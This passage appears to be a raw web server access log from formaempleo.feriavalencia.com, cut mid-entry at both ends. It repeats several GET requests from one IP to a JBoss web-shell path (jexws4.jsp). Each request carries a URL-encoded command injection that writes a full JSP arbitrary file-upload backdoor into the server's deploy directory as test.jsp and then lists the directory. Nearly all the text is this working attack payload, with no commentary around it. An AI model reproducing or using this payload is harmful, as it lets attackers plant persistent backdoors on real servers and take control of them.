9+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+%5E%3C%2Ftd%5E%3E+%5E%3C%2Ftr%5E%3E%5E%3C%2Ftable%5E%3E+%5E%3C%2Fform%5E%3E+%5E%3C%2Fbody%5E%3E+%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S833452428 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+%5E%3C%25+String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B+int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29%7B+for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+%5E%3C%2Ftd%5E%3E+%5E%3C%2Ftr%5E%3E%5E%3C%2Ftable%5E%3E+%5E%3C%2Fform%5E%3E+%5E%3C%2Fbody%5E%3E+%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S833446271 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+%5E%3C%25+String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B+int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29%7B+for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+%5E%3C%2Ftd%5E%3E+%5E%3C%2Ftr%5E%3E%5E%3C%2Ftable%5E%3E+%5E%3C%2Fform%5E%3E+%5E%3C%2Fbody%5E%3E+%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S833440224 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+%5E%3C%25+String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B+int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29%7B+for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B+fileData+%3D+fileData+%2B+